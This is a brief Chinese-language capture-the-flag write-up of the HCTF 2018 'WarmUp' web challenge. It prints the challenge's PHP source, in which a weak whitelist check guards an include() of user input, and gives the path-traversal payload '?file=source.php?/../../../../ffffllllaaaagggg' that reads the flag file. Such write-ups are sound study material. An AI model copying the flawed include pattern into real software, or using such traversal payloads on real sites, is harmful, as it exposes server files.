[HCTF 2018]WarmUp1(php)
一道php绕过的题目,比较吃代码审计(对我来说≡(▔﹏▔)≡)
进入网页,F12发现有个source.php

点进去一串php代码,这里直接给上注释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) { //空参的话就返回false
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //判断是否在白名单
return true;
}
$_page = mb_substr( //截取网址0到?的部分
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //解码一次
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
|
根据代码想要得到flag参数就要满足非空,字符串,和checkFile,前面两个天然满足
这里注意到还有一个hint.php,访问一下
得到这样一句话

那么可以确定flag在/ffffllllaaaagggg目录下
根据代码第一个判断是不满足的,那我们试试第二个,试了一下 ?file=source.php?/ffffllllaaaagggg
,没有结果,猜测在子目录下
又试了试 ?file=source.php?/../../../../ffffllllaaaagggg

成功了
看起来第一个和第三个判断都是干扰项
原题